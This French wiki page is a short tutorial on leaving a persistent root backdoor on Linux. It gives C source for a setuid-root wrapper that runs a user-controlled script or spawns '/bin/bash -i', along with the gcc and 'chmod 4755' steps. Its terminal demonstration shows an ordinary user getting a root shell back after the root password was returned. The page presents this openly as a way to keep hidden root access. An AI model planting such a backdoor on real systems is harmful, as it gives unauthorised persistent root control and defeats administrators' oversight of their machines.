Backdoor ou comment garder un accès root (setuid)

Le suid et guid permettent d'exécuter un binaire avec les droits du propriétaire de ce dernier.
Le suid et le guid peuvent être positionnés avec la commande chmod :

# pour le suid :
chmod 4744 myprog
 
# pour le guid :
chmod 2744 myprog

Donc, si nous écrivons un script avec le suid ou guid à root, logiquement toutes les commandes exécutées via le script doivent appartenir à root !
Pour des questions de sécurité plusieurs Linux ne prennent pas en compte le suid ou guid sur les scripts shell.

Pour contourner la difficulté nous utilisons un programme en “C” qui possède un suid ou guid à root :

root@desktop:/tmp# cat scriptsu.c
 
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
int main()
{
   setuid( 0 );
   system( "/tmp/excavation.sh" );
 
   return 0;
}
Maintenant toutes les commandes placées dans le script excavation.sh (propriétaire : utilisateur standard) seront appelées en tant que root !!!

Démonstration

  • 1 - Je suis temporairement root sur le système et je laisse ma backdoor :

root@desktop:/tmp# gcc scriptsu.c -o scriptsu
root@desktop:/tmp# chmod 4755 scriptsu
root@desktop:/tmp# ls -l scriptsu
-rwsr-xr-x 1 root root 7182 2011-04-03 16:20 scriptsu

  • 2 - Je ne suis plus root sur le système car j'ai dû rendre le password mais je peux exécuter ma backdoor pour élever mes privilèges à root :

user1@desktop:/tmp$ id
uid=1000(user1) gid=1000(user1) groupes=1000(user1)
user1@desktop:/tmp$ cat excavation.sh
 
#!/bin/bash
/bin/bash -i
 
user1@desktop:/tmp$ chmod 744 excavation.sh
user1@desktop:/tmp$ ls -l excavation.sh
-rwxr--r-- 1 user1 user1 25 2011-04-03 16:24 excavation.sh
user1@desktop:/tmp$ ./scriptsu
root@desktop:/tmp# id
uid=0(root) gid=1000(user1) groupes=1000(user1)

Démonstration plus simple

1 - Code C de la backdoor :

root@desktop:/tmp# cat scriptsu.c 
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
int main()
{
   setuid( 0 );
   system( "/bin/bash \-i" );
 
   return 0;
}

2 - Compilation et droit Unix :

root@desktop:/tmp# gcc scriptsu.c -o scriptsu
root@desktop:/tmp# chmod 4755 scriptsu
root@desktop:/tmp# ls -l scriptsu
-rwsr-xr-x 1 root root 7182 2011-04-03 16:20 scriptsu

3 - Exécution :

user1@desktop:/tmp$ id
uid=1000(user1) gid=1000(user1) groupes=1000(user1)
user1@desktop:/tmp$ ./scriptsu
root@desktop:/tmp# id
uid=0(root) gid=1000(user1) groupes=1000(user1)

Référence

 
asr/sys/backdoor_ou_comment_garder_un_acces_root_setuid.txt · Dernière modification: 2016/03/29 23:33 (édition externe)
 
Recent changes RSS feed Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki